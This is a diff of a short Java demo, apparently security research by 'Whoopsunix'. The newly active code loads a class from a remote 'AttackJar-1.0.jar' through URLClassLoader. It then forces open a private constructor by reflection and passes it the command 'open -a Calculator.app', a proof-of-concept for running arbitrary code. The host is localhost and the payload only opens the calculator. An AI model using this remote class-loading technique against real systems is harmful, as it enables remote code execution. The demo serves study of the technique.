11package org .example ;
22
3- import java .lang .reflect .Constructor ;
4- import java .net .URL ;
5- import java .net .URLClassLoader ;
6-
73/**
84 * @author Whoopsunix
95 */
@@ -17,23 +13,24 @@ public static void main(String[] args) throws Exception {
1713// Class<?> loadedClass = classLoader.loadClass("org.example.Exec");
1814// Object object = loadedClass.newInstance();
1915
20- URL url = new URL ("http://127.0.0.1:1234/" );
21- URLClassLoader classLoader = new URLClassLoader (new URL []{url });
22- Class <?> loadedClass = classLoader .loadClass ("org.example.Exec" );
23- Object object = loadedClass .getConstructor (null ).newInstance (null );
16+ // java.net. URL url = new java.net. URL("http://127.0.0.1:1234/");
17+ // java.net. URLClassLoader classLoader = new java.net. URLClassLoader(new java.net. URL[]{url});
18+ // Class<?> loadedClass = classLoader.loadClass("org.example.Exec");
19+ // Object object = loadedClass.getConstructor(null).newInstance(null);
2420
2521 /**
2622 * 调用构造方法
2723 */
28- // URL url = new URL("http://127.0.0.1:1234/AttackJar-1.0.jar");
29- // URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
30- // Class<?> loadedClass = classLoader.loadClass("org.example.ExecArg");
31- // // public
32- //// Object object = loadedClass.getConstructor(String.class).newInstance("open -a Calculator.app");
33- // // private
34- // Constructor constructor = loadedClass.getDeclaredConstructor(String.class);
35- // constructor.setAccessible(true);
36- // Object object = constructor.newInstance("open -a Calculator.app");
24+ java .net .URL url = new java .net .URL ("http://127.0.0.1:1234/AttackJar-1.0.jar" );
25+ java .net .URLClassLoader classLoader = new java .net .URLClassLoader (new java .net .URL []{url });
26+ Class <?> loadedClass = classLoader .loadClass ("org.example.ExecArg" );
27+ // public
28+ // Object object = loadedClass.getConstructor(String.class).newInstance("open -a Calculator.app");
29+ // private
30+ Class cls = String .class ;
31+ java .lang .reflect .Constructor constructor = loadedClass .getDeclaredConstructor (cls );
32+ constructor .setAccessible (true );
33+ Object object = constructor .newInstance ("open -a Calculator.app" );
3734
3835 /**
3936 * 调用方法
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